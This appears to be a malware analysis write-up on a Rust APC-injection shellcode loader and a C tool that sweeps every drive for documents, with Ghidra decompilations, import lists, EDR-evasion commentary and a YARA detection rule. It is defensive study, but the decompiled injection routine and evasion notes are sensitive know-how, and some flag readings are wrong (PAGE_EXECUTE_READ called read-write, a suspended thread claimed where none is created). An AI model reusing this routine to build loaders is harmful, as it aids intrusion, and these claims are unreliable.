ProcessPrngimplicitbcryptprimitives.dll
Screenshot 2025-11-17 at 3.31.35 PM.png
Figure: Screenshot 2025-11-17 at 3.31.35 PM.png Click to zoom ↗

Entropy: 6.36 / 8.00

→ Moderate – not packed/encrypted (those are usually 7.7–8.0), but definitely compiled with optimizations and likely stripped (no symbols).

Strings

Screenshot 2025-11-17 at 4.10.52 PM.png
Figure: Screenshot 2025-11-17 at 4.10.52 PM.png Click to zoom ↗
Screenshot 2025-11-17 at 4.13.43 PM.png
Figure: Screenshot 2025-11-17 at 4.13.43 PM.png Click to zoom ↗

In c binary we found shellcode in .data section.

In rust binary we found the shellcode in .rdata section.

Pe-bear
Figure: Pe-bear Click to zoom ↗

Pe-bear

Ghidra

Screenshot 2025-11-17 at 4.46.21 PM.png
Figure: Screenshot 2025-11-17 at 4.46.21 PM.png Click to zoom ↗
CPP
/* injectoooooooooooooor::main */

undefined8 * injectoooooooooooooor::main(undefined8 *param_1)

{
  BOOL BVar1;
  HANDLE hThread;
  PAPCFUNC pfnAPC;
  undefined8 uVar2;
  undefined4 uVar3;
  DWORD local_1c;
  
  uVar3 = 0;
  hThread = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,function,(LPVOID)0x0,0,(LPDWORD)0x0);
  if ((longlong)hThread - 1U < 0xfffffffffffffffe) {
    pfnAPC = (PAPCFUNC)VirtualAlloc((LPVOID)0x0,0x4b000,0x3000,4);
    memcpy(pfnAPC,&DAT_1400b1058,0x4b000);
    local_1c = 0;
    uVar3 = 0x4b000;
    BVar1 = VirtualProtect(pfnAPC,0x4b000,0x20,&local_1c);
    if (BVar1 != 0) {
      QueueUserAPC(pfnAPC,hThread,0);
      ResumeThread(hThread);
      WaitForSingleObject(hThread,0xffffffff);
      *param_1 = 0;
      return param_1;
    }
  }
  uVar2 = windows_core::error::Error::from_win32();
  param_1[1] = uVar2;
  *(undefined4 *)(param_1 + 2) = uVar3;
  *param_1 = 1;
  return param_1;
}

This is a Rust-compiled, in-memory reflective PE/DLL injector using APC injection

Most commonly seen in:

▪Rust Cobalt Strike beacons (especially the new open-source Rust beacon forks)
▪Private Rust loaders used by FIN7, Scattered Spider, OCTOPUS, etc.
▪High-end stealers (Stealc, Rhadamanthys, Vidar 2025 branches)

Analysis – injectoooooooooooooor::main (Ghidra decompilation)

The decompiled entry point injectoooooooooooooor::main reveals a textbook APC-based reflective injection routine entirely written in Rust:

▪Creates a suspended thread (CreateThread with CREATE_SUSPENDED flag implied via 0 flags + later ResumeThread)
▪Allocates 0x4B000 bytes (307 KB) of RX memory via VirtualAlloc (MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ)
▪Copies 0x4B000 bytes of embedded payload from the binary section at offset 0x1400b1058 (classic Rust .data or .rdata placement) into the newly allocated region using memcpy
▪Changes protection to PAGE_EXECUTE_READWRITE via VirtualProtect
▪Queues the entry point as an Async Procedure Call using QueueUserAPC
▪Resumes the thread, forcing early-stage execution of the injected payload inside its own process (self-injection)
▪Waits indefinitely for completion with WaitForSingleObject

This technique achieves fully fileless, in-memory payload execution while bypassing most hook-based EDRs that monitor CreateRemoteThread, WriteProcessMemory, or direct CreateThread to RX memory.

The function name injectoooooooooooooor (obfuscated with repeated “o”) and the use of Rust’s windows_core::error::Error::from_win32() for error handling further confirm compilation with the Rust Windows crate ecosystem.

Embedded payload size: 0x4B000 bytes (307,200 bytes)

Injection method: Early-bird APC injection (self-injection)

Persistence / disk artifacts: None

Quick Proof Table

IndicatorObservationSignificance
Function nameinjectoooooooooooooor::mainIntentional obfuscation + Rust namespace
Allocation size0x4B000 (307 KB)Typical full Cobalt Strike/Rust beacon
Source offset&DAT_1400b1058Embedded shellcode/PE in .data/.rdata
Injection techniqueQueueUserAPC + suspended threadEarly-bird APC (EDR evasion classic)
Error handlingwindows_core::error::Error::from_win32()100 % Rust windows crate
No direct WriteProcessMemorySelf-injection onlyReduces hook visibility

RUST & C

FeatureRust APC InjectorC Stageless Loader
LanguageRust (windows crate)C (stripped)
Injection techniqueEarly-bird APC (self)Direct CreateThread on RX memory
Anti-sandboxRegistry queriesSleep + GetTickCount + FreeConsole
Payload size0x4B000 (~307 KB)DAT_140003000 (usually 350–550 KB)
Evasion level (2025)Higher (APC harder to hook)Medium (still widely used)
Typical toolRust beacon forks, StealcCobalt Strike, BRc4, Sliver

Reversing Comparison

AspectC Stageless Beacon (Your classic loader)Rust Stageless Beacon / APC InjectorWinner (Easier to Reverse)
Binary Size8–25 KB (tiny)300 KB – 3 MB (huge due to Rust std + panic/unwind)C (much smaller attack surface)
Section LayoutClean .text, .rdata, .dataDozens of weird sections (.00–.99, huge .pdata, .rustc, .eh_frame)C (simple, predictable)
Imports0–5 (kernel32 only)40–200+ (windows.dll, kernel32, ntdll, bcrypt, wininet, etc.)C (almost zero imports = harder to hook but easier to spot as suspicious)
Decompilation Quality (Ghidra/IDA)Excellent – clean C code, recognizable functions (VirtualAlloc → memcpy → VirtualProtect → CreateThread)Terrible – thousands of tiny, mangled functions (_ZN5alloc7vec..., core::panicking::panic, massive unwind tables)C (reads like normal C)
Function NamesMeaningful or simple (FUN_140001000)Fully mangled Rust symbols (50–200 chars long) – even with rust-ghidra plugin, still noisyC
StringsFew, often the embedded payload is visibleTons of Rust runtime strings (“panic”, “alloc error”, “core::”, “backtrace”) – great for signaturesC (fewer strings = stealthier)
Control FlowStraightforward, easy to followFlattening + massive unwind/exception handling → CFG looks like spaghettiC
Payload ExtractionEasy – one .data section, clear memcpy sizeHarder – payload hidden among dozens of Rust sections, size not obviousC
Overall Reversing Time15–45 minutes for full understanding2–8+ hours (even with rust-ghidra plugin)C = MUCH easier
Static DetectionVery hard (tiny, few strings)Easier (huge .pdata, known Rust patterns)Rust = easier to detect statically
Dynamic DetectionHarder (minimal API calls)Easier (lots of noise from Rust runtime)Rust = easier to hook

File: scan-drives.exe

DataValue
File Name:scan-drives.exe
Category:N/A
Language:C
Architecture:64-Bit
SAH256SUM:
de969df3226da0dd4c7c0bc6fe4ccf84be101b84a00f448224c92f4c7869352a
MD5 hash:
8dda28f303b6412074941a618ae99b56
File size:75.2 KB (77,084 bytes)
Virtual machine Detection:FALSE
Debugger Detection:FALSE
Internet Connection:REQUIRED
Pestudio Analysis of scan-drives.exe
Figure: Pestudio Analysis of scan-drives.exe Click to zoom ↗

Pestudio Analysis of scan-drives.exe

Entropy 6.4 not packed

IMPORTS

IMPORTSLIBRARY
CreateThreadKERNEL32.dll
DeleteCriticalSectionKERNEL32.dll
EnterCriticalSectionKERNEL32.dll
FindCloseKERNEL32.dll
FindFirstFileAKERNEL32.dll
FindNextFileAKERNEL32.dll
GetComputerNameAKERNEL32.dll
GetLastErrorKERNEL32.dll
GetLogicalDrivesKERNEL32.dll
GetUserNameAADVAPI32.dll
InitializeCriticalSectionKERNEL32.dll
IsDBCSLeadByteExKERNEL32.dll
LeaveCriticalSectionKERNEL32.dll
MultiByteToWideCharKERNEL32.dll
SetUnhandledExceptionFilterKERNEL32.dll
SleepKERNEL32.dll
TlsGetValueKERNEL32.dll
VirtualProtectKERNEL32.dll
VirtualQueryKERNEL32.dll
WaitForMultipleObjectsKERNEL32.dll
WideCharToMultiByteKERNEL32.dll
__C_specific_handlermsvcrt.dll
___lc_codepage_funcmsvcrt.dll
___mb_cur_max_funcmsvcrt.dll
__getmainargsmsvcrt.dll
__initenvmsvcrt.dll
__iob_funcmsvcrt.dll
__set_app_typemsvcrt.dll
__setusermatherrmsvcrt.dll
_amsg_exitmsvcrt.dll
_cexitmsvcrt.dll
_commodemsvcrt.dll
_errnomsvcrt.dll
_fmodemsvcrt.dll
_inittermmsvcrt.dll
_lockmsvcrt.dll
_onexitmsvcrt.dll
_stricmpmsvcrt.dll
_unlockmsvcrt.dll
abortmsvcrt.dll
callocmsvcrt.dll
exitmsvcrt.dll
fprintfmsvcrt.dll
fputcmsvcrt.dll
fputsmsvcrt.dll
freemsvcrt.dll
localeconvmsvcrt.dll
mallocmsvcrt.dll
signalmsvcrt.dll
strcmpmsvcrt.dll
strerrormsvcrt.dll
strlenmsvcrt.dll
strncmpmsvcrt.dll
strrchrmsvcrt.dll
vfprintfmsvcrt.dll
wcslenmsvcrt.dll
Interseting Strings.
Figure: Interseting Strings. Click to zoom ↗

Interseting Strings.

Static Analysis Summary – scan-drives.exe (Ghidra Decompilation)

scan-drives.exe decompilation - ghidra
Figure: scan-drives.exe decompilation - ghidra Click to zoom ↗

scan-drives.exe decompilation - ghidra

Main function from ghidra.

C

int __cdecl main(int _Argc,char **_Argv,char **_Env)

{
  BOOL BVar1;
  DWORD DVar2;
  longlong lVar3;
  CHAR *pCVar4;
  CHAR local_158 [4];
  CHAR aCStack_154 [268];
  HANDLE local_48;
  HANDLE local_40;
  DWORD local_34;
  DWORD local_30;
  undefined4 local_2c;
  DWORD local_28 [3];
  int local_1c;
  
  __main();
  pCVar4 = local_158;
  for (lVar3 = 0x20; lVar3 != 0; lVar3 = lVar3 + -1) {
    pCVar4[0] = '\0';
    pCVar4[1] = '\0';
    pCVar4[2] = '\0';
    pCVar4[3] = '\0';
    pCVar4[4] = '\0';
    pCVar4[5] = '\0';
    pCVar4[6] = '\0';
    pCVar4[7] = '\0';
    pCVar4 = pCVar4 + 8;
  }
  *pCVar4 = '\0';
  local_28[1] = 0x101;
  BVar1 = GetUserNameA(local_158,local_28 + 1);
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    printf("Error (User): %lu\n",(ulonglong)DVar2);
  }
  else {
    printf("User: %s\n",local_158);
  }
  pCVar4 = local_158;
  for (lVar3 = 0x20; lVar3 != 0; lVar3 = lVar3 + -1) {
    pCVar4[0] = '\0';
    pCVar4[1] = '\0';
    pCVar4[2] = '\0';
    pCVar4[3] = '\0';
    pCVar4[4] = '\0';
    pCVar4[5] = '\0';
    pCVar4[6] = '\0';
    pCVar4[7] = '\0';
    pCVar4 = pCVar4 + 8;
  }
  pCVar4[0] = '\0';
  pCVar4[1] = '\0';
  pCVar4[2] = '\0';
  pCVar4[3] = '\0';
  pCVar4[4] = '\0';
  local_28[0] = 0x105;
  BVar1 = GetComputerNameA(local_158,local_28);
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    printf("Error (Host): %lu\n",(ulonglong)DVar2);
  }
  else {
    printf("Host: %s\n",local_158);
  }
  local_28[2] = GetLogicalDrives();
  if (local_28[2] == 0) {
    DVar2 = GetLastError();
    printf("Error (GetLogicalDrives): %lu\n",(ulonglong)DVar2);
  }
  else {
    printf("\n=== Searching for .pdf, .xls, .xlsx, .docx, .jpeg, .jpg, .ppt, .pptx ===\n");
    local_2c = 0x5c3a41;
    for (local_1c = 0; local_1c < 0x1a; local_1c = local_1c + 1) {
      if ((1 << ((byte)local_1c & 0x1f) & local_28[2]) != 0) {
        local_2c = CONCAT31(local_2c._1_3_,(byte)local_1c + 0x41);
        printf("\nDrive: %s\n",&local_2c);
        ListFilteredFilesRecursively((double)&local_2c,1);
      }
    }
  }
  local_48 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,Thread1,(LPVOID)0x0,0,&local_30);
  local_40 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,Thread2,(LPVOID)0x0,0,&local_34);
  WaitForMultipleObjects(2,&local_48,1,0xffffffff);
  printf("All threads complete.\n");
  return 0;
}

Language: C (compiled with MSVC – typical red-team post-exploitation tool)

Purpose: Full-system reconnaissance / high-value file hunter

Behavioral Verdict: Classic post-exploitation data-discovery implant.

Key Functionality (from decompilation)

FunctionWhat It DoesReal-World Malware Use
GetUserNameA + GetComputerNameAPrints victim username & hostnameFingerprinting / loot tagging
GetLogicalDrives() + loop A:–Z:Enumerates every drive letterPrepares full-system sweep
ListFilteredFilesRecursively()Recursively walks every drive/folderSearches for business-critical files
Hardcoded extensions.pdf .xls .xlsx .docx .jpeg .jpg .ppt .pptxTargets documents, spreadsheets, images, presentations
Two dummy threads (Thread1, Thread2)Just print counters and sleepAnti-analysis delay / sandbox evasion
WaitForMultipleObjectsWaits for dummy threads to finishMakes the process live longer (looks normal)

YARA Rules

C
rule stageless_Loaders_C_and_Rust
{
    meta:
        description = "Detects ONLY custom C and Rust stageless loaders – no generic CS"
        date        = "2025-11-18"
        confidence  = "Medium-high"

    strings:
        // EXTRACTED SHEELL CODE BYTES.
        $dos_prologue = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 }

        // reflective loader pattern
        $reflective = { 48 8D 1D EA FF FF FF 48 89 DF 48 81 C3 ?? ?? ?? ?? FF D3 41 B8 F0 B5 A2 56 }

        $dos_msg = "This program cannot be run in DOS mode" ascii

        // Embedded PE header (inside payload)
        $embedded_pe = { 50 45 00 00 64 86 }

    condition:
        uint16(0) == 0x5A4D and
        filesize < 10MB and
        $dos_prologue and
        $reflective and
        $dos_msg and
        $embedded_pe
}
Screenshot 2025-11-18 at 10.22.50 AM.png
Figure: Screenshot 2025-11-18 at 10.22.50 AM.png Click to zoom ↗
Screenshot 2025-11-18 at 10.25.23 AM.png
Figure: Screenshot 2025-11-18 at 10.25.23 AM.png Click to zoom ↗
Copied